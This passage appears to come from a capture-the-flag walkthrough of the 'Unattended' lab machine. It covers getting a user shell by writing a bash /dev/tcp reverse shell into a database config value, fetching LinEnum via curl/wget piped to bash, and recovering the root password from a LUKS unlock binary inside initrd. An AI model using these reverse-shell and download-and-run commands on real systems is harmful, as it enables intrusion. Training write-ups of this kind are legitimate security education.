www-data@unattended:/var/www/html$ mysql -u nestedflanders -D neddy -p mysql -u nestedflanders -D neddy -p Enter password: 1036913cf7d38d4ea4f79b050f171e9fbf3f5e Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 61 Server version: 10.1.37-MariaDB-0+deb9u1 Debian 9.6 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [neddy]>> show tables; show tables; +-----------------+ | Tables_in_neddy | +-----------------+ | config | | customers | | employees | | filepath | | idname | | offices | | orderdetails | | orders | | payments | | productlines | | products | +-----------------+ 11 rows in set (0.00 sec) And we are logged in as the user nestedflanders! now we'll print the tables, and the hint here is to get into the config table, and update the option_value to another reverse shell: update config set option_value = "bash -c 'bash -i >& /dev/tcp/10.10.14.7/80 0>&1'" where id = '86'; Since 80 is the only second port opened, we have to use it: MariaDB [neddy]> update config set option_value = "bash -c 'bash -i >& /dev/tcp/10.10.14.7/80 0>&1'" where id = '86'; <****sh -c 'bash -i > & /dev/tcp/10.10.14.7/80 0>&1'" where id = '86'; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 MariaDB [neddy]> select * from config where id = '86' select * from config where id = '86' -> ; ; +----+--------------+--------------------------------------------------+ | id | option_name | option_value | +----+--------------+--------------------------------------------------+ | 86 | checkrelease | bash -c 'bash -i >& /dev/tcp/10.10.14.7/80 0>&1' | +----+--------------+--------------------------------------------------+ 1 row in set (0.00 sec) Here we wait a bit, and get a reverse shell once again this time as the user guly, and we cat out the user flag: [ 10.10.14.7/23 ] [ /dev/pts/5 ] [~] → sudo nc -lvnp 80 [sudo] password for nothing: listening on [any] 80 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.126] 47268 bash: cannot set terminal process group (1658): Inappropriate ioctl for device bash: no job control in this shell guly@unattended:~$ id id uid=1000(guly) gid=1000(guly) groups=1000(guly),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),47(grub),108(netdev) guly@unattended:~$ cat user.txt cat user.txt 9bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And that's it! We got a second reverse shell and now have the user flag. ## **Part 3 : Getting Root Access** In order to privesc from the user guly to root, we can enumerate the box using LinEnum.sh: _local machine:_ $cp /path/to/linEnum.sh . $python -m SimpleHTTPServer 8080 ` _remote machine:_ curl http://10.10.14.16:8081/LinEnum.sh | bash wget http://10.10.14.16:8081/LinEnum.sh -O - | bash cat < /dev/tcp/10.10.14.3/8080 | bash guly@unattended:~$ which wget && which curl which wget && which curl /usr/bin/wget Since curl isn't there, we use the wget line. Looking at the results, we don't even get anything interesting sadly, apart from us being part of the grub group as we saw initially when we got our second reverse shell. so we look over at the output of the mount cmd: guly@unattended:~$ mount mount sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime) proc on /proc type proc (rw,relatime,hidepid=2) udev on /dev type devtmpfs (rw,nosuid,relatime,size=1014344k,nr_inodes=253586,mode=755) devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000) tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=205252k,mode=755) **/dev/mapper/sda2_crypt on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)** securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime) tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,noexec) tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k) tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755) cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd) pstore on /sys/fs/pstore type pstore (rw,nosuid,nodev,noexec,relatime) cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event) cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio) cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer) cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids) cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices) cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio) cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory) cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct) cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset) systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=28,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=9241) mqueue on /dev/mqueue type mqueue (rw,relatime) debugfs on /sys/kernel/debug type debugfs (rw,relatime) hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime) tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime) tmpfs on /var/tmp type tmpfs (rw,nosuid,nodev,noexec,relatime) /dev/sda1 on /boot type ext2 (rw,relatime,block_validity,barrier,user_xattr,acl) That which stands out is /dev/mapper/sda2_crypt, combine that with us being part of the grub group, maybe we modified grub to automap an encrypted drive, that is because a system do not automatically boots up on said encrypted drive, because it requires a password to read it's contents, such as the LUKS encrypted drives. To enumerate further, we can find which files are owned by grub: find / -group grub -ls 2>/dev/null guly@unattended:~$ find / -group grub -ls 2>/dev/null find / -group grub -ls 2>/dev/null 16 19331 -rw-r----- 1 root grub 19715792 Aug 23 2019 /boot/initrd.img-4.9.0-8-amd64 And you see that the image that grub has access to is this initrd.img file. Looking at the date is also hinting us that this is the intended path because it is roughly the same date as the user.txt flag. so we download it: ![](prg/41_018.png) [ 10.10.14.7/23 ] [ /dev/pts/7 ] [~/_HTB/Unattended] → file initrd.img initrd.img: gzip compressed data, last modified: Fri Aug 23 09:26:41 2019, from Unix, original size modulo 2^32 62110208 It's gzip compressed, so we can decompress it with zcat: zcat initrd.img | cpio -i -i means extract, -d means make directories, -m means preserve modified time, -v for verbose, [ 10.10.14.7/23 ] [ /dev/pts/7 ] [_HTB/Unattended/init] → ls initrd.img [ 10.10.14.7/23 ] [ /dev/pts/7 ] [_HTB/Unattended/init] → which zcat && which cpio /usr/bin/zcat /usr/bin/cpio [ 10.10.14.7/23 ] [ /dev/pts/7 ] [_HTB/Unattended/init] → zcat initrd.img | cpio -idmv Once extracted we'll filter out the extra data using the date from which the certificate was issued: ![](prg/41_019.png) Using the find command with the dates(19 December 2018 and ): [ 10.10.14.7/23 ] [ /dev/pts/7 ] [_HTB/Unattended/init] → find . -type f -newermt 2018-12-19 ! -newermt 2019-12-21 -ls 5775196 912 -rwxr-x--- 1 nothing nothing 933240 Aug 23 2019 ./sbin/uinitrd 5898937 84 -rw-r--r-- 1 nothing nothing 82756 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.dep.bin 5898879 4 -rw-r--r-- 1 nothing nothing 177 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.devname 5898880 8 -rw-r--r-- 1 nothing nothing 5327 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.builtin.bin 5898934 4 -rw-r--r-- 1 nothing nothing 310 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.softdep 5898938 56 -rw-r--r-- 1 nothing nothing 53740 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.dep 5898936 252 -rw-r--r-- 1 nothing nothing 256371 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.alias 5898935 232 -rw-r--r-- 1 nothing nothing 237478 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.alias.bin 5898881 184 -rw-r--r-- 1 nothing nothing 186301 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.symbols.bin 5898933 148 -rw-r--r-- 1 nothing nothing 151421 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.symbols 5636894 4 -rwxr-xr-x 1 nothing nothing 501 Aug 23 2019 ./scripts/init-top/udev 5636893 4 -rw-r--r-- 1 nothing nothing 314 Aug 23 2019 ./scripts/init-top/ORDER 5636909 4 -rw-r--r-- 1 nothing nothing 85 Aug 23 2019 ./scripts/local-bottom/ORDER 5636902 4 -rw-r--r-- 1 nothing nothing 77 Aug 23 2019 ./scripts/init-bottom/ORDER 5636905 4 -rw-r--r-- 1 nothing nothing 82 Aug 23 2019 ./scripts/local-premount/ORDER 5636890 4 -rw-r--r-- 1 nothing nothing 82 Aug 23 2019 ./scripts/local-block/ORDER 5637835 12 -rwxr-xr-x 1 nothing nothing 9470 Dec 20 2018 ./scripts/local-top/cryptroot 5637833 4 -rw-r--r-- 1 nothing nothing 162 Aug 23 2019 ./scripts/local-top/ORDER 5636554 4 -rw-r--r-- 1 nothing nothing 37 Aug 23 2019 ./boot/guid 5899964 4 -rw-r--r-- 1 nothing nothing 11 Aug 23 2019 ./etc/hostname 5899971 0 -rw-r--r-- 1 nothing nothing 0 Aug 23 2019 ./etc/fstab 5899968 4 -rw-r--r-- 1 nothing nothing 77 Aug 23 2019 ./etc/motd 5899959 4 -rw-r--r-- 1 nothing nothing 2074 Aug 23 2019 ./etc/ld.so.cache 5899967 4 -rw-r--r-- 1 nothing nothing 4024 Aug 23 2019 ./etc/boottime.kmap.gz 5899977 4 -rw-r--r-- 1 nothing nothing 84 Aug 23 2019 ./conf/conf.d/cryptroot 5899978 4 -rw-r--r-- 1 nothing nothing 12 Dec 20 2018 ./conf/conf.d/resume 5899973 4 -rw-r--r-- 1 nothing nothing 37 Aug 23 2019 ./conf/guid 5899975 4 -rw-r--r-- 1 nothing nothing 16 Aug 23 2019 ./conf/arch.conf That's good enough, but we'll narrow it down to what we're looking for which is crypt: [ 10.10.14.7/23 ] [ /dev/pts/7 ] [_HTB/Unattended/init] → find . -type f -newermt 2018-12-19 ! -newermt 2019-12-21 -ls | grep crypt 5637835 12 -rwxr-xr-x 1 nothing nothing 9470 Dec 20 2018 ./scripts/local-top/cryptroot 5899977 4 -rw-r--r-- 1 nothing nothing 84 Aug 23 2019 ./conf/conf.d/cryptroot The interesting part here is cryptroot, so looking at it's contents: ![](prg/41_020.png) So here we have a comment from guly, which is definitely the hint we need, then the cryptopen command, that tries to decrypt the drive, which is calling /sbin/unitrd to do so with the following string: c0m3s3f0ss34nt4n1 Which we could have also found using a simple recursive grep search: [ 10.10.14.7/23 ] [ /dev/pts/4 ] [_HTB/Unattended/init] → grep -RI password . && grep -RI guly . ./bin/cryptroot-unlock: echo "cryptsetup: cryptsetup failed, bad password or options?" >&2 ./scripts/local-top/cryptroot: # Try to get a satisfactory password $crypttries times ./scripts/local-top/cryptroot: cryptkeyscript="plymouth ask-for-password --prompt" ./scripts/local-top/cryptroot: # guly: we have to deal with lukfs password sync when root changes her one ./scripts/local-top/cryptroot: message "cryptsetup: cryptsetup failed, bad password or options?" ./scripts/local-top/cryptroot: message "cryptsetup: unknown fstype, bad password or options?" ./scripts/local-top/cryptroot: # guly: we have to deal with lukfs password sync when root changes her one So if we try this command on our machine, we get a password: [ 10.10.14.7/23 ] [ /dev/pts/4 ] [_HTB/Unattended/init] → cd sbin [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] → ls -lash | grep initrd 912K -rwxr-x--- 1 nothing nothing 912K Aug 23 2019 uinitrd [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] → ./uinitrd c0m3s3f0ss34nt4n1 supercazzola Sadly, both c0m3s3f0ss34nt4n1 and supercazzola are not the root password, so moving on, we'll examine this uinitrd inside the box Looking at the output of the mount cmd we need a share that doesn't have the noexec flag: guly@unattended:~$ mount | grep tmp mount | grep tmp udev on /dev type devtmpfs (rw,nosuid,relatime,size=1014344k,nr_inodes=253586,mode=755) tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=205252k,mode=755) tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,noexec) tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k) tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755) tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime) tmpfs on /var/tmp type tmpfs (rw,nosuid,nodev,noexec,relatime) Sadly as you can see, the noexec flag is everywhere so we have to do it locally, we'll use the strace utility to examine the binary: [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] → sudo apt install strace [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] → strace ./uinitrd c0m3s3f0ss34nt4 execve("./uinitrd", ["./uinitrd", "c0m3s3f0ss34nt4"], 0x7ffe59e95778 /* 44 vars */) = 0 uname({sysname="Linux", nodename="nowhere", ...}) = 0 brk(NULL) = 0x704000 brk(0x7051c0) = 0x7051c0 arch_prctl(ARCH_SET_FS, 0x704880) = 0 readlink("/proc/self/exe", "/home/nothing/_HTB/Unattended/in"..., 4096) = 47 brk(0x7261c0) = 0x7261c0 brk(0x727000) = 0x727000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("**/etc/hostname** ", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=8, ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff522874000 read(3, "nowhere\n", 4096) = 8 close(3) = 0 munmap(0x7ff522874000, 4096) = 0 open("**/boot/guid** ", O_RDONLY) = -1 ENOENT (No such file or directory) fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff522874000 write(1, "supercazzola", 12supercazzola) = 12 exit_group(0) = ? +++ exited with 0 +++ We can see the binary checks /etc/hostname and /boot/guid guly@unattended:~$ cat /boot/guid && cat /etc/hostname cat /boot/guid && cat /etc/hostname C0B604A4-FE6D-4C14-A791-BEB3769F3FBA unattended So we change them accordingly : [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] → sudo su [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] → echo 'unattended' > /etc/hostname [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] → echo 'C0B604A4-FE6D-4C14-A791-BEB3769F3FBA' > /boot/guid Run it again: [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] → strace ./uinitrd c0m3s3f0ss34nt4n1 execve("./uinitrd", ["./uinitrd", "c0m3s3f0ss34nt4n1"], 0x7fff817b6008 /* 44 vars */) = 0 uname({sysname="Linux", nodename="nowhere", ...}) = 0 brk(NULL) = 0x9f0000 brk(0x9f11c0) = 0x9f11c0 arch_prctl(ARCH_SET_FS, 0x9f0880) = 0 readlink("/proc/self/exe", "/home/nothing/_HTB/Unattended/in"..., 4096) = 47 brk(0xa121c0) = 0xa121c0 brk(0xa13000) = 0xa13000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/etc/hostname", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=11, ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4c5652d000 read(3, "unattended\n", 4096) = 11 close(3) = 0 munmap(0x7f4c5652d000, 4096) = 0 open("/boot/guid", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=37, ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4c5652d000 read(3, "C0B604A4-FE6D-4C14-A791-BEB3769F"..., 4096) = 37 close(3) = 0 munmap(0x7f4c5652d000, 4096) = 0 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4c5652d000 write(1, "**132f93ab100671dcb263acaf5dc95d82** "..., 40132f93ab100671dcb263acaf5dc95d8260e8b7c6) = 40 exit_group(0) = ? +++ exited with 0 +++ [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] → ./uinitrd c0m3s3f0ss34nt4n1 **132f93ab100671dcb263acaf5dc95d8260e8b7c6** And here at the bottom we see a certain hash so let's try it to see if it is the root password: guly@unattended:~$ su - su - Password: 132f93ab100671dcb263acaf5dc95d8260e8b7c6 root@unattended:~# id id uid=0(root) gid=0(root) groups=0(root) root@unattended:~# cat root.txt cat root.txt 55XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And that's it ! We have been able to print out the root flag. ## **Conclusion** Here we can see the progress graph : ![](img/41_graph.png)